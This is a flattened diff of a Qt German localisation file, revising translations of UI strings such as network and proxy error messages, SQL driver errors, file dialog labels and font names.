Beim Schreiben der Antwort auf das Ausgabegerät ist ein Fehler aufgetreten + + Close + Schließen - - Proxy authentication required - Proxy-Authentifizierung erforderlich + + Dock + Andocken - - Authentication required - Authentifizierung erforderlich + + Float + Herauslösen + + + QDoubleSpinBox - - Proxy requires authentication - Der Proxy-Server verlangt eine Authentifizierung + + More + Mehr - - Host requires authentication - Der Hostrechner verlangt eine Authentifizierung + + Less + Weniger + + + QErrorMessage - - Data corrupted - Die Daten sind verfälscht + + &Show this message again + Diese Meldung wieder an&zeigen - - SSL handshake failed - Im Ablauf des SSL-Protokolls ist ein Fehler aufgetreten. + + &OK + &OK - - Unknown protocol specified - Es wurde ein unbekanntes Protokoll angegeben + + Debug Message: + Debug-Ausgabe: - - Connection refused (or timed out) - Verbindung verweigert oder Zeitlimit überschritten + + Warning: + Achtung: - - HTTPS connection requested but SSL support not compiled in - Die angeforderte HTTPS-Verbindung kann nicht aufgebaut werden, da keine SSL-Unterstützung vorhanden ist + + Fatal Error: + Fehler: - QHttpSocketEngine - - - Did not receive HTTP response from proxy - Keine HTTP-Antwort vom Proxy-Server - - - - Error parsing authentication request from proxy - Fehler beim Auswerten der Authentifizierungsanforderung des Proxy-Servers - + QFile - - Authentication required - Authentifizierung erforderlich + + + Destination file exists + Die Zieldatei existiert bereits - - Proxy denied connection - Der Proxy-Server hat den Aufbau einer Verbindung verweigert + + Will not rename sequential file using block copy + Eine sequentielle Datei kann nicht durch blockweises Kopieren umbenannt werden - - Error communicating with HTTP proxy - Fehler bei der Kommunikation mit dem Proxy-Server + + Cannot remove source file + Die Quelldatei kann nicht entfernt werden - - Proxy server not found - Es konnte kein Proxy-Server gefunden werden + + Cannot open %1 for input + %1 kann nicht zum Lesen geöffnet werden - - Proxy connection refused - Der Proxy-Server hat den Aufbau einer Verbindung verweigert + + Cannot open for output + Das Öffnen zum Schreiben ist fehlgeschlagen - - Proxy server connection timed out - Bei der Verbindung mit dem Proxy-Server wurde ein Zeitlimit überschritten + + Failure to write block + Der Datenblock konnte nicht geschrieben werden - - Proxy connection closed prematurely - Der Proxy-Server hat die Verbindung vorzeitig beendet + + Cannot create %1 for output + %1 kann nicht erstellt werden - QIBaseDriver + QFileDialog - - Error opening database - Die Datenbankverbindung konnte nicht geöffnet werden + + + All Files (*) + Alle Dateien (*) - - Could not start transaction - Es konnte keine Transaktion gestartet werden + + + Back + Zurück - - Unable to commit transaction - Die Transaktion konnte nicht durchgeführt werden (Operation 'commit' fehlgeschlagen) + + + List View + Liste - - Unable to rollback transaction - Die Transaktion konnte nicht rückgängig gemacht werden (Operation 'rollback' fehlgeschlagen) + + + Detail View + Details - - - QIBaseResult - - Unable to create BLOB - Es konnte kein BLOB erzeugt werden + + + File + Datei - - Unable to write BLOB - Der BLOB konnte nicht geschrieben werden + + Open + Öffnen - - Unable to open BLOB - Der BLOB konnte nicht geöffnet werden + + Save As + Speichern unter - - Unable to read BLOB - Der BLOB konnte nicht gelesen werden + + + + &Open + &Öffnen - - - Could not find array - Das Feld konnte nicht gefunden werden + + + &Save + S&peichern - - Could not get array data - Die Daten des Feldes konnten nicht gelesen werden + + Recent Places + Zuletzt besucht - - Could not get query info - Die erforderlichen Informationen zur Abfrage sind nicht verfügbar + + &Rename + &Umbenennen - - Could not start transaction - Es konnte keine Transaktion gestartet werden + + &Delete + &Löschen - - Unable to commit transaction - Die Transaktion konnte nicht durchgeführt werden (Operation 'commit' fehlgeschlagen) + + Show &hidden files + &Versteckte Dateien anzeigen - - Could not allocate statement - Die Allokation des Befehls schlug fehl + + New Folder + Neues Verzeichnis - - Could not prepare statement - Der Befehl konnte nicht initalisiert werden + + Find Directory + Verzeichnis suchen - - - Could not describe input statement - Es konnte keine Beschreibung des Eingabebefehls erhalten werden + + Directories + Verzeichnisse - - Could not describe statement - Es konnte keine Beschreibung des Befehls erhalten werden + + All Files (*.*) + Alle Dateien (*.*) - - Unable to close statement - Der Befehl konnte nicht geschlossen werden + + + Directory: + Verzeichnis: - - Unable to execute query - Der Befehl konnte nicht ausgeführt werden + + %1 already exists. +Do you want to replace it? + Die Datei %1 existiert bereits. +Soll sie überschrieben werden? - - Could not fetch next item - Das nächste Element konnte nicht abgeholt werden + + %1 +File not found. +Please verify the correct file name was given. + %1 +Die Datei konnte nicht gefunden werden. +Stellen Sie sicher, dass der Dateiname richtig ist. - - Could not get statement info - Es ist keine Information zum Befehl verfügbar + + My Computer + Mein Computer - - - QIODevice - - Permission denied - Zugriff verweigert + + + Parent Directory + Übergeordnetes Verzeichnis - - Too many open files - Zu viele Dateien geöffnet + + + Files of type: + Dateien des Typs: - - No such file or directory - Die Datei oder das Verzeichnis konnte nicht gefunden werden + + + %1 +Directory not found. +Please verify the correct directory name was given. + %1 +Das Verzeichnis konnte nicht gefunden werden. +Stellen Sie sicher, dass der Verzeichnisname richtig ist. - - No space left on device - Kein freier Speicherplatz auf dem Gerät vorhanden + + '%1' is write protected. +Do you want to delete it anyway? + '%1' ist schreibgeschützt. +Möchten Sie die Datei trotzdem löschen? - - Unknown error - Unbekannter Fehler + + Are sure you want to delete '%1'? + Sind Sie sicher, dass Sie '%1' löschen möchten? - - - QInputContext - - XIM - XIM + + Could not delete directory. + Konnte Verzeichnis nicht löschen. - - FEP - FEP + + Drive + Laufwerk - - XIM input method - XIM-Eingabemethode + + File Folder + Match Windows Explorer + Ordner - - Windows input method - Windows-Eingabemethode + + Folder + All other platforms + Order - - Mac OS X input method - Mac OS X-Eingabemethode + + Alias + Mac OS X Finder + Alias - - S60 FEP input method - S60-FEP-Eingabemethode + + Shortcut + All other platforms + Symbolischer Link - - - QInputDialog - - Enter a value: - Geben Sie einen Wert ein: + + Unknown + Unbekannt - - - QLibrary - - Could not mmap '%1': %2 - Operation mmap fehlgeschlagen für '%1': %2 + + Show + Anzeigen - - Plugin verification data mismatch in '%1' - Die Prüfdaten des Plugins '%1' stimmen nicht überein + + + Forward + Vorwärts - - Could not unmap '%1': %2 - Operation unmap fehlgeschlagen für '%1': %2 + + &New Folder + &Neues Verzeichnis - - The plugin '%1' uses incompatible Qt library. (%2.%3.%4) [%5] - Das Plugin '%1' verwendet eine inkompatible Qt-Bibliothek. (%2.%3.%4) [%5] + + + &Choose + &Auswählen - - The plugin '%1' uses incompatible Qt library. Expected build key "%2", got "%3" - Das Plugin '%1' verwendet eine inkompatible Qt-Bibliothek. Erforderlicher build-spezifischer Schlüssel "%2", erhalten "%3" + + Remove + Löschen - - Unknown error - Unbekannter Fehler + + + File &name: + Datei&name: - - - The shared library was not found. - Die dynamische Bibliothek konnte nicht gefunden werden. + + + Look in: + Suchen in: - - The file '%1' is not a valid Qt plugin. - Die Datei '%1' ist kein gültiges Qt-Plugin. + + + Create New Folder + Neuen Ordner erstellen + + + QFileSystemModel - - The plugin '%1' uses incompatible Qt library. (Cannot mix debug and release libraries.) - Das Plugin '%1' verwendet eine inkompatible Qt-Bibliothek. (Im Debug- bzw. Release-Modus erstellte Bibliotheken können nicht zusammen verwendet werden.) + + + %1 TB + %1 TB - - - Cannot load library %1: %2 - Die Bibliothek %1 kann nicht geladen werden: %2 + + + %1 GB + %1 GB - - - Cannot unload library %1: %2 - Die Bibliothek %1 kann nicht entladen werden: %2 + + + %1 MB + %1 MB - - - Cannot resolve symbol "%1" in %2: %3 - Das Symbol "%1" kann in %2 nicht aufgelöst werden: %3 + + + %1 KB + %1 KB - - - QLineEdit - - Select All - Alles auswählen + + %1 bytes + %1 Byte - - &Undo - &Rückgängig + + Invalid filename + Ungültiger Dateiname - - &Redo - Wieder&herstellen + + <b>The name "%1" can not be used.</b><p>Try using another name, with fewer characters or no punctuations marks. + <b>Der Name "%1" kann nicht verwendet werden.</b><p>Versuchen Sie, die Sonderzeichen zu entfernen oder einen kürzeren Namen zu verwenden. - - Cu&t - &Ausschneiden + + Name + Name - - &Copy - &Kopieren + + Size + Größe - - &Paste - Einf&ügen - + + Kind + Match OS X Finder + Art + + + + Type + All other platforms + Typ + - Delete - Löschen + Date Modified + Änderungsdatum + + + + My Computer + Mein Computer + + + + Computer + Computer + + + + %1 byte(s) + %1 byte - QLocalServer + QFontDatabase - - - %1: Name error - %1: Fehlerhafter Name + + + Normal + Normal - - %1: Permission denied - %1: Zugriff verweigert + + + + Bold + Fett - - %1: Address in use - %1: Die Adresse wird bereits verwendet + + + Demi Bold + Halbfett - - %1: Unknown error %2 - %1: Unbekannter Fehler %2 + + + + Black + Schwarz - - - QLocalSocket - - - %1: Connection refused - %1: Der Verbindungsaufbau wurde verweigert + + Demi + Semi - - - %1: Remote closed - %1: Die Verbindung wurde von der Gegenseite geschlossen + + + Light + Leicht + + + + + Italic + Kursiv + + + + + Oblique + Schräggestellt + + + + Any + Alle - - - - %1: Invalid name - %1: Ungültiger Name + Latin + Lateinisch - - %1: Socket access error - %1: Fehler beim Zugriff auf den Socket + Greek + Griechisch - - %1: Socket resource error - %1: Socket-Fehler (Ressourcenproblem) + Cyrillic + Kyrillisch - - %1: Socket operation timed out - %1: Zeitüberschreitung bei Socket-Operation + Armenian + Armenisch - - %1: Datagram too large - %1: Das Datagramm ist zu groß + Hebrew + Hebräisch - - - %1: Connection error - %1: Verbindungsfehler + Arabic + Arabisch - - %1: The socket operation is not supported - %1: Diese Socket-Operation wird nicht unterstützt + Syriac + Syrisch - - %1: Unknown error - %1: Unbekannter Fehler + + Thaana + Thaana - - - %1: Unknown error %2 - %1: Unbekannter Fehler %2 + + Devanagari + Devanagari - - - QMYSQLDriver - - Unable to open database ' - Die Datenbankverbindung kann nicht geöffnet werden ' + + Bengali + Bengalisch - - Unable to connect - Es kann keine Verbindung aufgebaut werden + + Gurmukhi + Gurmukhi - - Unable to begin transaction - Es kann keine Transaktion gestartet werden + + Gujarati + Gujarati - - Unable to commit transaction - Die Transaktion kann nicht durchgeführt werden (Operation 'commit' fehlgeschlagen) + + Oriya + Oriya - - Unable to rollback transaction - Die Transaktion kann nicht rückgängig gemacht werden (Operation 'rollback' fehlgeschlagen) + + Tamil + Tamilisch - - - QMYSQLResult - - - Unable to fetch data - Es konnten keine Daten abgeholt werden + + Telugu + Telugu - - Unable to execute query - Die Abfrage konnte nicht ausgeführt werden + + Kannada + Kannada - - Unable to store result - Das Ergebnis konnte nicht gespeichert werden + + Malayalam + Malayalam - - - Unable to prepare statement - Der Befehl konnte nicht initialisiert werden + + Sinhala + Sinhala - - Unable to reset statement - Der Befehl konnte nicht zurückgesetzt werden + + Thai + Thailändisch - - Unable to bind value - Der Wert konnte nicht gebunden werden + + Lao + Laotisch - - Unable to execute statement - Der Befehl konnte nicht ausgeführt werden + + Tibetan + Tibetisch - - - Unable to bind outvalues - Die Ausgabewerte konnten nicht gebunden werden + + Myanmar + Myanmar - - Unable to store statement results - Die Ergebnisse des Befehls konnten nicht gespeichert werden + + Georgian + Georgisch - - Unable to execute next query - Die folgende Abfrage kann nicht ausgeführt werden + + Khmer + Khmer - - Unable to store next result - Das folgende Ergebnis kann nicht gespeichert werden + + Simplified Chinese + Chinesisch (Kurzzeichen) - - - QMdiArea - - (Untitled) - (Unbenannt) + + Traditional Chinese + Chinesisch (Langzeichen) - - - QMdiSubWindow - - %1 - [%2] - %1 - [%2] + + Japanese + Japanisch - - Close - Schließen + + Korean + Koreanisch - - Minimize - Minimieren + + Vietnamese + Vietnamesisch - - Restore Down - Wiederherstellen + + Symbol + Symbol - - &Restore - Wieder&herstellen + + Ogham + Ogham - &Move - Ver&schieben + Runic + Runen + + + + N'Ko + N'Ko + + + + QFontDialog + + + &Font + &Schriftart - &Size - Größe ä&ndern + Font st&yle + Schrifts&til - Mi&nimize - M&inimieren + &Size + &Größe - - Ma&ximize - Ma&ximieren + + Effects + Effekte - Stay on &Top - Im &Vordergrund bleiben + Stri&keout + Durch&gestrichen - - &Close - Schl&ießen + + &Underline + &Unterstrichen - - Maximize - Maximieren + + Sample + Beispiel - - Unshade - Herabrollen + + Select Font + Schriftart auswählen - - Shade - Aufrollen + + Wr&iting System + &Schriftsystem + + + QFtp - - Restore - Wiederherstellen + + Host %1 found + Rechner %1 gefunden - - Help - Hilfe + + Host found + Rechner gefunden - - Menu - Menü + + + + Connected to host %1 + Verbunden mit Rechner %1 - - - [%1] - - [%1] + + Connected to host + Verbindung mit Rechner besteht - - - QMediaPlayer - - The QMediaPlayer object does not have a valid service - Das QMediaPlayer-Objekt verfügt über keinen gültigen Dienst + + Connection to %1 closed + Verbindung mit %1 beendet - - - QMediaPlaylist - - - Could not add items to read only playlist. - Es konnten keine Einträge zur Wiedergabeliste hinzugefügt werden, da sie schreibgeschützt ist. + + + + Connection closed + Verbindung beendet - - - Playlist format is not supported - Das Format der Wiedergabeliste ist nicht unterstützt + + + Host %1 not found + Rechner %1 konnte nicht gefunden werden - - The file could not be accessed. - Auf die Datei konnte nicht zugegriffen werden. + + + Connection refused to host %1 + Verbindung mit %1 verweigert - - Playlist format is not supported. - Das Format der Wiedergabeliste ist nicht unterstützt. + + Connection timed out to host %1 + Das Zeitlimit für die Verbindung zu '%1' wurde überschritten - - - QMenu - - - Close - Schließen + + + + + Unknown error + Unbekannter Fehler - - - Open - Öffnen + + + Connecting to host failed: +%1 + Verbindung mit Rechner schlug fehl: +%1 - - - - Execute - Ausführen + + + Login failed: +%1 + Anmeldung schlug fehl: +%1 - - - QMenuBar - - Actions - Optionen + + + Listing directory failed: +%1 + Der Inhalt des Verzeichnisses kann nicht angezeigt werden: +%1 - - - QMessageBox - - - - - OK - OK + + + Changing directory failed: +%1 + Ändern des Verzeichnisses schlug fehl: +%1 - - <h3>About Qt</h3><p>This program uses Qt version %1.</p> - + + + Downloading file failed: +%1 + Herunterladen der Datei schlug fehl: +%1 - - <p>Qt is a C++ toolkit for cross-platform application development.</p><p>Qt provides single-source portability across MS&nbsp;Windows, Mac&nbsp;OS&nbsp;X, Linux, and all major commercial Unix variants. Qt is also available for embedded devices as Qt for Embedded Linux and Qt for Windows CE.</p><p>Qt is available under three different licensing options designed to accommodate the needs of our various users.</p><p>Qt licensed under our commercial license agreement is appropriate for development of proprietary/commercial software where you do not want to share any source code with third parties or otherwise cannot comply with the terms of the GNU LGPL version 2.1 or GNU GPL version 3.0.</p><p>Qt licensed under the GNU LGPL version 2.1 is appropriate for the development of Qt applications (proprietary or open source) provided you can comply with the terms and conditions of the GNU LGPL version 2.1.</p><p>Qt licensed under the GNU General Public License version 3.0 is appropriate for the development of Qt applications where you wish to use such applications in combination with software subject to the terms of the GNU GPL version 3.0 or where you are otherwise willing to comply with the terms of the GNU GPL version 3.0.</p><p>Please see <a href="http://qt.nokia.com/products/licensing">qt.nokia.com/products/licensing</a> for an overview of Qt licensing.</p><p>Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).</p><p>Qt is a Nokia product. See <a href="http://qt.nokia.com/">qt.nokia.com</a> for more information.</p> - + + + Uploading file failed: +%1 + Hochladen der Datei schlug fehl: +%1 - - About Qt - Über Qt + + + Removing file failed: +%1 + Löschen der Datei schlug fehl: +%1 - - Help - Hilfe + + + Creating directory failed: +%1 + Erstellen des Verzeichnisses schlug fehl: +%1 - - Show Details... - Details einblenden... + + + Removing directory failed: +%1 + Löschen des Verzeichnisses schlug fehl: +%1 - - Hide Details... - Details ausblenden... + + + Not connected + Keine Verbindung - - - QMultiInputContext - - Select IM - Eingabemethode auswählen + + + Connection refused for data connection + Verbindung für die Daten Verbindung verweigert - QMultiInputContextPlugin - - - Multiple input method switcher - Umschalter für Eingabemethoden - + QGstreamerPlayerSession - - Multiple input method switcher that uses the context menu of the text widgets - Mehrfachumschalter für Eingabemethoden, der das Kontextmenü des Text-Widgets verwendet + + + Unable to play %1 + %1 kann nicht abgespielt werden - QNativeSocketEngine - - - The remote host closed the connection - Der entfernte Rechner hat die Verbindung geschlossen - - - - Network operation timed out - Das Zeitlimit für die Operation wurde überschritten - + QHostInfo - - Out of resources - Keine Ressourcen verfügbar + + Unknown error + Unbekannter Fehler - - Unsupported socket operation - Nichtunterstütztes Socket-Kommando + + No host name given + Es wurde kein Hostname angegeben + + + QHostInfoAgent - - Protocol type not supported - Das Protokoll wird nicht unterstützt + + + + + Host not found + Rechner konnte nicht gefunden werden - - Invalid socket descriptor - Ungültiger Socket-Deskriptor + + + + + Unknown address type + Unbekannter Adresstyp - - Network unreachable - Das Netzwerk ist nicht erreichbar + + + + Unknown error + Unbekannter Fehler - - Permission denied - Zugriff verweigert + + + No host name given + Es wurde kein Hostname angegeben - - Connection timed out - Das Zeitlimit für die Verbindung wurde überschritten + + + Invalid hostname + Ungültiger Rechnername + + + QHttp - + + Connection refused Verbindung verweigert - - The bound address is already in use - Die angegebene Adresse ist bereits in Gebrauch - - - - The address is not available - Die Adresse ist nicht verfügbar - - - - The address is protected - Die Adresse ist geschützt - - - - Unable to send a message - Die Nachricht konnte nicht gesendet werden - - - - Unable to receive a message - Die Nachricht konnte nicht empfangen werden - - - - Unable to write - Der Schreibvorgang konnte nicht ausgeführt werden + + + + Host %1 not found + Rechner %1 konnte nicht gefunden werden - - Network error - Netzwerkfehler + + + Wrong content length + Ungültige Längenangabe - - Another socket is already listening on the same port - Auf diesem Port hört bereits ein anderer Socket + + + HTTP request failed + HTTP-Anfrage fehlgeschlagen - - Unable to initialize non-blocking socket - Der nichtblockierende Socket konnte nicht initialisiert werden + + Host %1 found + Rechner %1 gefunden - - Unable to initialize broadcast socket - Der Broadcast-Socket konnte nicht initialisiert werden + + Host found + Rechner gefunden - - Attempt to use IPv6 socket on a platform with no IPv6 support - Es wurde versucht, einen IPv6-Socket auf einem System ohne IPv6-Unterstützung zu verwenden + + Connected to host %1 + Verbunden mit Rechner %1 - - Host unreachable - Der Zielrechner kann nicht erreicht werden + + Connected to host + Verbindung mit Rechner besteht - - Datagram was too large to send - Das Datagram konnte nicht gesendet werden, weil es zu groß ist + + Connection to %1 closed + Verbindung mit %1 beendet - - Operation on non-socket - Operation kann nur auf einen Socket angewandt werden + + + Connection closed + Verbindung beendet - + + + + Unknown error Unbekannter Fehler - - The proxy type is invalid for this operation - Die Operation kann mit dem Proxy-Typ nicht durchgeführt werden - - - - QNetworkAccessCacheBackend - - - Error opening %1 - %1 konnte nicht geöffnet werden + + + Request aborted + Anfrage wurde abgebrochen - - - QNetworkAccessDataBackend - - Operation not supported on %1 - Diese Operation wird von %1 nicht unterstützt + + + No server set to connect to + Für die Verbindung wurde kein Server-Rechner angegeben - - Invalid URI: %1 - Ungültiger URI: %1 + + + Server closed connection unexpectedly + Der Server hat die Verbindung unerwartet geschlossen - - - QNetworkAccessDebugPipeBackend - - Write error writing to %1: %2 - Fehler beim Schreiben zu %1: %2 + + + Invalid HTTP response header + Der Kopfteil der HTTP-Antwort ist ungültig - - Socket error on %1: %2 - Socket-Fehler bei %1: %2 + + Unknown authentication method + Unbekannte Authentifizierungsmethode - - Remote host closed the connection prematurely on %1 - Der entfernte Rechner hat die Verbindung zu %1 vorzeitig beendet + + + + + Invalid HTTP chunked body + Der Inhalt (chunked body) der HTTP-Antwort ist ungültig - - - QNetworkAccessFileBackend - - - Request for opening non-local file %1 - Anforderung zum Öffnen einer Datei über Netzwerk %1 + + Error writing response to device + Beim Schreiben der Antwort auf das Ausgabegerät ist ein Fehler aufgetreten - - - Error opening %1: %2 - %1 konnte nicht geöffnet werden: %2 + + Proxy authentication required + Proxy-Authentifizierung erforderlich - - Write error writing to %1: %2 - Fehler beim Schreiben zur Datei %1: %2 + + Authentication required + Authentifizierung erforderlich - - - Cannot open %1: Path is a directory - %1 kann nicht geöffnet werden: Der Pfad spezifiziert ein Verzeichnis + + Proxy requires authentication + Der Proxy-Server verlangt eine Authentifizierung - - Read error reading from %1: %2 - Beim Lesen von der Datei %1 trat ein Fehler auf: %2 + + Host requires authentication + Der Hostrechner verlangt eine Authentifizierung - - - QNetworkAccessFtpBackend - - No suitable proxy found - Es konnte kein geeigneter Proxy-Server gefunden werden + + Data corrupted + Die Daten sind verfälscht - - Cannot open %1: is a directory - %1 kann nicht geöffnet werden: Es handelt sich um ein Verzeichnis + + SSL handshake failed + Im Ablauf des SSL-Protokolls ist ein Fehler aufgetreten. - - Logging in to %1 failed: authentication required - Die Anmeldung bei %1 schlug fehl: Es ist eine Authentifizierung erforderlich + + Unknown protocol specified + Es wurde ein unbekanntes Protokoll angegeben - - Error while downloading %1: %2 - Beim Herunterladen von %1 trat ein Fehler auf: %2 + + Connection refused (or timed out) + Verbindung verweigert oder Zeitlimit überschritten - - Error while uploading %1: %2 - Beim Hochladen von %1 trat ein Fehler auf: %2 + + HTTPS connection requested but SSL support not compiled in + Die angeforderte HTTPS-Verbindung kann nicht aufgebaut werden, da keine SSL-Unterstützung vorhanden ist - QNetworkAccessHttpBackend + QHttpSocketEngine - - No suitable proxy found - Es konnte kein geeigneter Proxy-Server gefunden werden + + Did not receive HTTP response from proxy + Keine HTTP-Antwort vom Proxy-Server - - - QNetworkAccessManager - - Network access is disabled. - Der Zugriff auf das Netzwerk ist nicht gestattet. + + Error parsing authentication request from proxy + Fehler beim Auswerten der Authentifizierungsanforderung des Proxy-Servers - - - QNetworkReply - - Error downloading %1 - server replied: %2 - Beim Herunterladen von %1 trat ein Fehler auf - Die Antwort des Servers ist: %2 + + Authentication required + Authentifizierung erforderlich - - Protocol "%1" is unknown - Das Protokoll "%1" ist unbekannt + + Proxy denied connection + Der Proxy-Server hat den Aufbau einer Verbindung verweigert - - Temporary network failure. - Das Netzwerk ist zur Zeit ausgefallen. + + Error communicating with HTTP proxy + Fehler bei der Kommunikation mit dem Proxy-Server - - - QNetworkReplyImpl - - - Operation canceled - Operation abgebrochen + + Proxy server not found + Es konnte kein Proxy-Server gefunden werden - - - QNetworkSession - - Invalid configuration. - Ungültige Konfiguration. + + Proxy connection refused + Der Proxy-Server hat den Aufbau einer Verbindung verweigert + + + + Proxy server connection timed out + Bei der Verbindung mit dem Proxy-Server wurde ein Zeitlimit überschritten + + + + Proxy connection closed prematurely + Der Proxy-Server hat die Verbindung vorzeitig beendet - QNetworkSessionPrivateImpl + QIBaseDriver - - - Unknown session error. - Unbekannter Fehler bei Netzwerkverbindung. + + Error opening database + Die Datenbankverbindung konnte nicht geöffnet werden - - - The session was aborted by the user or system. - Die Verbindung wurde vom Nutzer oder vom Betriebssystem unterbrochen. + + Could not start transaction + Es konnte keine Transaktion gestartet werden - - - The requested operation is not supported by the system. - Die angeforderte Operation wird vom System nicht unterstützt. + + Unable to commit transaction + Die Transaktion konnte nicht durchgeführt werden (Operation 'commit' fehlgeschlagen) + + + + Unable to rollback transaction + Die Transaktion konnte nicht rückgängig gemacht werden (Operation 'rollback' fehlgeschlagen) + + + QIBaseResult - - - The specified configuration cannot be used. - Die angegebene Konfiguration kann nicht verwendet werden. + + Unable to create BLOB + Es konnte kein BLOB erzeugt werden - - - Roaming was aborted or is not possible. - Das Roaming wurde abgebrochen oder ist hier nicht möglich. + + Unable to write BLOB + Der BLOB konnte nicht geschrieben werden - - Roaming error - Fehler beim Roaming + + Unable to open BLOB + Der BLOB konnte nicht geöffnet werden - - Session aborted by user or system - Die Verbindung wurde vom Nutzer oder vom Betriebssystem unterbrochen + + Unable to read BLOB + Der BLOB konnte nicht gelesen werden - - Unidentified Error - Unbekannter Fehler + + + Could not find array + Das Feld konnte nicht gefunden werden - - - QOCIDriver - - Unable to logon - Logon-Vorgang fehlgeschlagen + + Could not get array data + Die Daten des Feldes konnten nicht gelesen werden - - Unable to initialize - QOCIDriver - Initialisierung fehlgeschlagen + + Could not get query info + Die erforderlichen Informationen zur Abfrage sind nicht verfügbar - - Unable to begin transaction + + Could not start transaction Es konnte keine Transaktion gestartet werden @@ -3908,5562 +3868,5696 @@ Möchten Sie die Datei trotzdem löschen? Die Transaktion konnte nicht durchgeführt werden (Operation 'commit' fehlgeschlagen) - - Unable to rollback transaction - Die Transaktion konnte nicht rückgängig gemacht werden (Operation 'rollback' fehlgeschlagen) + + Could not allocate statement + Die Allokation des Befehls schlug fehl - - - QOCIResult - - - - Unable to bind column for batch execute - Die Spalte konnte nicht für den Stapelverarbeitungs-Befehl gebunden werden + + Could not prepare statement + Der Befehl konnte nicht initialisiert werden - - Unable to execute batch statement - Der Stapelverarbeitungs-Befehl konnte nicht ausgeführt werden + + + Could not describe input statement + Es konnte keine Beschreibung des Eingabebefehls erhalten werden - - Unable to goto next - Kann nicht zum nächsten Element gehen + + Could not describe statement + Es konnte keine Beschreibung des Befehls erhalten werden - - Unable to alloc statement - Die Allokation des Befehls schlug fehl + + Unable to close statement + Der Befehl konnte nicht geschlossen werden - - Unable to prepare statement - Der Befehl konnte nicht initialisiert werden + + Unable to execute query + Der Befehl konnte nicht ausgeführt werden - - Unable to get statement type - Der Anweisungstyp kann nicht bestimmt werden + + Could not fetch next item + Das nächste Element konnte nicht abgeholt werden - - Unable to bind value - Der Wert konnte nicht gebunden werden + + Could not get statement info + Es ist keine Information zum Befehl verfügbar + + + + QIODevice + + + Permission denied + Zugriff verweigert - - Unable to execute statement - Der Befehl konnte nicht ausgeführt werden + + Too many open files + Zu viele Dateien geöffnet + + + + No such file or directory + Die Datei oder das Verzeichnis konnte nicht gefunden werden + + + + No space left on device + Kein freier Speicherplatz auf dem Gerät vorhanden + + + + Unknown error + Unbekannter Fehler - QODBCDriver + QInputContext - - Unable to connect - Es kann keine Verbindung aufgebaut werden + + XIM + XIM - - Unable to disable autocommit - 'autocommit' konnte nicht deaktiviert werden + + FEP + FEP - - Unable to commit transaction - Die Transaktion konnte nicht durchgeführt werden (Operation 'commit' fehlgeschlagen) + + XIM input method + XIM-Eingabemethode - - Unable to rollback transaction - Die Transaktion konnte nicht rückgängig gemacht werden (Operation 'rollback' fehlgeschlagen) + + Windows input method + Windows-Eingabemethode - - Unable to enable autocommit - 'autocommit' konnte nicht aktiviert werden + + Mac OS X input method + Mac OS X-Eingabemethode - - Unable to connect - Driver doesn't support all functionality required - Es kann keine Verbindung aufgebaut werden weil der Treiber die benötigte Funktionalität nicht vollständig unterstützt + + S60 FEP input method + S60-FEP-Eingabemethode - QODBCResult + QInputDialog - - - QODBCResult::reset: Unable to set 'SQL_CURSOR_STATIC' as statement attribute. Please check your ODBC driver configuration - QODBCResult::reset: 'SQL_CURSOR_STATIC' konnte nicht als Attribut des Befehls gesetzt werden. Bitte prüfen Sie die Konfiguration Ihres ODBC-Treibers + + Enter a value: + Geben Sie einen Wert ein: + + + QLibrary - - - Unable to execute statement - Der Befehl konnte nicht ausgeführt werden + + Could not mmap '%1': %2 + Operation mmap fehlgeschlagen für '%1': %2 - - Unable to fetch next - Der nächste Datensatz konnte nicht abgeholt werden + + Plugin verification data mismatch in '%1' + Die Prüfdaten des Plugins '%1' stimmen nicht überein - - Unable to prepare statement - Der Befehl konnte nicht initialisiert werden + + Could not unmap '%1': %2 + Operation unmap fehlgeschlagen für '%1': %2 - - Unable to bind variable - Die Variable konnte nicht gebunden werden + + The plugin '%1' uses incompatible Qt library. (%2.%3.%4) [%5] + Das Plugin '%1' verwendet eine inkompatible Qt-Bibliothek. (%2.%3.%4) [%5] - - - - Unable to fetch last - Der letzte Datensatz konnte nicht abgeholt werden + + The plugin '%1' uses incompatible Qt library. Expected build key "%2", got "%3" + Das Plugin '%1' verwendet eine inkompatible Qt-Bibliothek. Erforderlicher build-spezifischer Schlüssel "%2", erhalten "%3" - - Unable to fetch - Es konnten keine Daten abgeholt werden + + Unknown error + Unbekannter Fehler - - Unable to fetch first - Der erste Datensatz konnte nicht abgeholt werden + + + The shared library was not found. + Die dynamische Bibliothek konnte nicht gefunden werden. - - Unable to fetch previous - Der vorangegangene Datensatz kann nicht abgeholt werden + + The file '%1' is not a valid Qt plugin. + Die Datei '%1' ist kein gültiges Qt-Plugin. - - - QObject - - "%1" duplicates a previous role name and will be disabled. - "%1" ist bereits als Name einer Rolle vergeben und wird daher deaktiviert. + + The plugin '%1' uses incompatible Qt library. (Cannot mix debug and release libraries.) + Das Plugin '%1' verwendet eine inkompatible Qt-Bibliothek. (Im Debug- bzw. Release-Modus erstellte Bibliotheken können nicht zusammen verwendet werden.) - - - QPPDOptionsModel - - Name - Name + + + Cannot load library %1: %2 + Die Bibliothek %1 kann nicht geladen werden: %2 - - Value - Wert + + + Cannot unload library %1: %2 + Die Bibliothek %1 kann nicht entladen werden: %2 + + + + + Cannot resolve symbol "%1" in %2: %3 + Das Symbol "%1" kann in %2 nicht aufgelöst werden: %3 - QPSQLDriver + QLineEdit - - Unable to connect - Es kann keine Verbindung aufgebaut werden + + Select All + Alles auswählen - - Could not begin transaction - Es konnte keine Transaktion gestartet werden + + &Undo + &Rückgängig - - Could not commit transaction - Die Transaktion konnte nicht durchgeführt werden (Operation 'commit' fehlgeschlagen) + + &Redo + Wieder&herstellen - - Could not rollback transaction - Die Transaktion konnte nicht rückgängig gemacht werden (Operation 'rollback' fehlgeschlagen) + + Cu&t + &Ausschneiden - - Unable to subscribe - Die Registrierung schlug fehl + + &Copy + &Kopieren - - Unable to unsubscribe - Die Registrierung konnte nicht aufgehoben werden + + &Paste + Einf&ügen + + + + Delete + Löschen - QPSQLResult + QLocalServer - - Unable to create query - Es konnte keine Abfrage erzeugt werden + + + %1: Name error + %1: Fehlerhafter Name - - Unable to prepare statement - Der Befehl konnte nicht initialisiert werden + + %1: Permission denied + %1: Zugriff verweigert + + + + %1: Address in use + %1: Die Adresse wird bereits verwendet + + + + %1: Unknown error %2 + %1: Unbekannter Fehler %2 - QPageSetupWidget + QLocalSocket - - Centimeters (cm) - Zentimeter (cm) + + + %1: Connection refused + %1: Der Verbindungsaufbau wurde verweigert - - Millimeters (mm) - Millimeter (mm) + + + %1: Remote closed + %1: Die Verbindung wurde von der Gegenseite geschlossen - - Inches (in) - Zoll 